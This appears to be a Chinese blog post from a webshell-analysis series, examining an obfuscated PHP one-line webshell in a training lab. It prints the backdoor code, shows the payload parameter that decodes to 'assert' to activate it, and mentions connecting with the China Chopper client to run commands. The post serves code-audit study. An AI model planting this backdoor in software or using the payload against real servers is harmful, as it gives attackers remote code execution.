zoukankan      html  css  js  c++  java
  • WebShell代码分析溯源(七)

    WebShell代码分析溯源(七)

    一、一句话变形马样本

    <?php

    $e = $_REQUEST['e'];$arr = array($_POST['POST'],);array_map(base64_decode($e), $arr);?>

    二、代码分析

    1、调整代码格式

      

    2、分析代码

    分析代码,首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$_POST['POST']赋值给arr数组,然后使用array回调函数将自定义函数x(base64_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。

    注:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

    回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。

    参考:https://www.w3school.com.cn/php/func_array_map.asp

    3、此时可以构造payload:http://www.test.com/test.php?e=YXNzZXJ0,这时再次分析代码,array_map(base64_decode($e), $arr),就变成了array_map(assert, $arr),assert为自定义函数,assert函数作用于arrs数组中的每一个值上,此时构造了一句话木马assert($_POST['POST'])

    三、漏洞环境搭建

    1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第6题)),地址: https://www.mozhe.cn/bug/detail/b1VaQzhxUzZTN0VYMVQvTHdzUWZ1UT09bW96aGUmozhe

    2、代码环境,下载代码

      

    3、分析(上面已经分析过了)

    4、使用菜刀连接

      

    5、执行一些命令

      

    四、后记

    学习代码审计工具---Seay源代码审计系统

    使用Seay源代码审计系统进行代码审计

      

  • 相关阅读:
    螺旋折线——第九届蓝桥杯C语言B组(省赛)第七题
    组合问题
    八皇后
    01背包(详解)
    最长递增子序列
    棋盘游戏
    The Accomodation of Students
    P3157 [CQOI2011]动态逆序对
    Building a Space Station
    焚风现象(差分模板题)
  • 原文地址:https://www.cnblogs.com/yuzly/p/11751605.html
Copyright © 2011-2022 走看看